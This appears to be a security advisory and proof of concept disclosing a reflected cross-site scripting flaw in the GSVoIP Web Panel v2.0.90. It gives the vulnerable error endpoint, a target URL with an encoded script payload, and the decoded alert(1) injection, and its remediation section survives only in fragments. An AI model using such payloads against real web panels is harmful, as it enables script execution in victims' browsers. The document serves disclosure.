
Proof-of-concept for a reflected XSS vulnerability (CVE-2025-69606) in GSVoIP Web Panel v2.0.90, demonstrating unauthenticated arbitrary JavaScript execution via the msg parameter.
Severity: Medium | CWE: CWE-79 | Auth Required: No | Vector: Remote
A Reflected Cross-Site Scripting (XSS) vulnerability was identified in the GSVoIP Web Panel (v2.0.90). The msg parameter of the error endpoint does not sanitize user-controlled input before reflecting it in the HTML response, allowing arbitrary JavaScript execution in the victim's browser.
| Field | Details |
|---|
| Product | GSVoIP Web Panel |
| Version | 2.0.90 (likely earlier versions) |
| Vendor | Solutions VoIP (GS Solutions) |
| CWE | CWE-79 — Cross-Site Scripting |
| Attack Vector | Remote / Network |
| Authentication | Not required |
GET /painel/gateways.php/error?msg=<payload>
The msg parameter is reflected directly in the HTML response without sanitization or output encoding.
https://{TARGET}/painel/gateways.php/error?msg=%3Cscript%3Ealert(1)%3C%2Fscript%3E
Decoded:
<script>alert(1)</script>
When the crafted URL is accessed, the injected payload executes in the victim's browser:
alert(1)
msg parameter.script-src directives.| Step | Event |
|---|---|
| 1 | Vulnerability discovered and reported by Luiz Eduardo |
| 2 | CVE assigned: CVE-2025-69606 |
| 3 | Public disclosure |
Discovered and reported by Luiz Eduardo
CVE-2025-69606 · CWE-79 · GSVoIP Web Panel v2.0.90